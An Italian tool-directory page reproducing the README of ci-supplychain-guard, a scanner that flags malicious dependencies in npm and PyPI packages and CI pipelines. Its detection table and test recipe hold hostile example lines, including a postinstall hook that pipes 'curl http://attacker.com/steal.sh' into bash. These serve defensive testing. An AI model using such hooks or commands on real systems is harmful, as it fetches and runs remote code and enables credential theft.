Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ci-supplychain-guard — Strumento di analisi statica che rileva dipendenze dannose nelle pipeline CI/CD utilizzando il pattern matching e l'analisi AST, con un sistema di punteggio di rischio a semaforo e verifica opzionale in sandbox Docker. | Kitploit
Strumenti/GitHubGitHub/otsmane-ahmed/ci-supplychain-guard
Analisi StaticaScanner di VulnerabilitàSicurezza dei ContenitoriAnalisi del CodiceAnalisi MalwareDevSecOpsRilevamento SegretiSicurezza della Supply Chain
GitHub
otsmane-ahmed/ci-supplychain-guard

ci-supplychain-guard

Strumento di analisi statica che rileva dipendenze dannose nelle pipeline CI/CD utilizzando il pattern matching e l'analisi AST, con un sistema di punteggio di rischio a semaforo e verifica opzionale in sandbox Docker.

Vedi Repository
281027 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CI Supply Chain Guard

Uno strumento di analisi statica per rilevare dipendenze dannose nelle pipeline CI/CD prima che vengano integrate nel tuo codebase.

License: MIT Python 3.10+

Autore: Otsmane Ahmed
Stato: Prototipo di ricerca v1.0


Avvio Rapido

# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt


```bash
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt

# 2. Scan a package directory
python3 main_guard.py /path/to/package

Lo strumento restituirà un verdetto: SAFE, SUSPICIOUS o BLOCKED.


Esempi di Utilizzo

Scansione di un Pacchetto Prima dell'Installazione

Se hai scaricato un pacchetto da npm o PyPI e vuoi verificare che sia sicuro:

# NPM package
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package

# Python package
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0

Scansione delle Dipendenze Installate

Controlla i pacchetti già installati nel tuo progetto:

# Scan all npm packages
python3 main_guard.py ./node_modules

# Scan a specific Python package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

Nota: la scansione di directory di grandi dimensioni come node_modules richiederà più tempo. Per risultati più rapidi, scansiona i singoli pacchetti.

Integrazione CI/CD

Esempio di workflow GitHub Actions:

name: Security Scan
on: [pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Setup Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.10'
      - name: Install CI-Guard
        run: |
          git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
          cd ci-supplychain-guard
          pip install -r requirements.txt
      - name: Scan Dependencies
        run: |
          cd ci-supplychain-guard
          python3 main_guard.py ../your-project-directory

La pipeline fallirà (codice di uscita 1) se viene rilevato codice dannoso.


Comprendere l'Output

Pacchetto Sicuro

$ python3 main_guard.py ./clean-package

Scanning target: ./clean-package
Running static analysis...
Static Risk Score: 0/100
Verdict: SAFE

Nessun pattern dannoso rilevato.

Pacchetto Bloccato

$ python3 main_guard.py ./evil-package

Scanning target: ./evil-package
Running static analysis...
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)

Rilevati pattern pericolosi (es. shell injection, furto di credenziali). Non installare questo pacchetto.

I pacchetti con un punteggio pari o superiore a 10 vengono bloccati automaticamente.

Pacchetto Sospetto

$ python3 main_guard.py ./suspicious-package

Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...

Trovati alcuni pattern preoccupanti. Se Docker è in esecuzione, il pacchetto verrà testato in una sandbox isolata per la verifica. Si consiglia una revisione manuale.


Capacità di Rilevamento

Tipo di AttaccoEsempioStato
Shell Injectioncurl evil.com | bashRilevato
Furto di CredenzialiLettura di process.env e invio a un server esternoRilevato
Offuscamento del Codiceeval(atob('base64...'))Rilevato
Script di Installazione DannosiHook NPM postinstallRilevato
File Binari.exe, .dll nei pacchettiRilevato
TyposquattingNomi simili a pacchetti popolariRichiesto controllo manuale

Test dello Strumento

Puoi testare CI-Guard creando un pacchetto dannoso di esempio:

# Create test directory
mkdir ~/test-malicious
cd ~/test-malicious

# Create package.json with malicious postinstall hook
cat > package.json << 'EOF'
{
  "name": "evil-package",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "curl http://attacker.com/steal.sh | bash"
  }
}
EOF

# Scan it
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious

Output atteso:

Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)

Prestazioni

EcosistemaPacchetti TestatiTasso di Rilevamento
NPM15,05989.6%
PyPI2,25782.2%

Tempo medio di scansione: 1-3 secondi per pacchetto (solo analisi statica)


FAQ

Posso scansionare pacchetti già installati?

Sì. Punta CI-Guard verso la tua directory node_modules o site-packages di Python:

python3 main_guard.py ./node_modules/some-package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

E se un pacchetto legittimo viene segnalato?

CI-Guard pecca per eccesso di prudenza. Se ti fidi di un pacchetto segnalato:

  1. Controlla le regole di rilevamento in analyzer/static_scanner.py
  2. Identifica quale pattern ha attivato l'avviso
  3. Esamina manualmente il codice sorgente del pacchetto

Funziona su Windows e macOS?

Sì. Python e Docker sono multipiattaforma.

Devo installare Docker?

Docker è richiesto solo per i pacchetti con punteggio 4-9 (sospetti). La maggior parte dei pacchetti è chiaramente sicura (0-3) o chiaramente dannosa (10+).


Requisiti

  • Python 3.10+
  • Docker (opzionale, per la verifica in sandbox)
  • Sistemi operativi supportati: Linux, macOS, Windows

Come Funziona

CI-Guard utilizza un sistema a semaforo a tre livelli:

  • Verde (0-3): Sicuro - nessun pattern dannoso rilevato
  • Giallo (4-9): Sospetto - richiede verifica in sandbox
  • Rosso (10+): Bloccato - trovati pattern dannosi critici

Metodi di rilevamento:

  • Analisi statica: Pattern matching tramite regex e AST (Abstract Syntax Tree)
  • Analisi di raggiungibilità: Filtra i falsi positivi dal codice morto
  • Sandbox: Container Docker opzionale con honeytoken per rilevare i tentativi di elusione

Contribuire

Le pull request sono benvenute. Per aggiungere una nuova regola di rilevamento:

Modifica analyzer/static_scanner.py e aggiungi alla lista RULES:

{
    "id": "SA-XXX",
    "name": "Rule Name",
    "pattern": r"regex_pattern",
    "weight": 8  # Score contribution (1-10)
}

Licenza

Licenza MIT - consulta il file LICENSE per i dettagli.


Contatti

Otsmane Ahmed - GitHub

Scarica lo strumento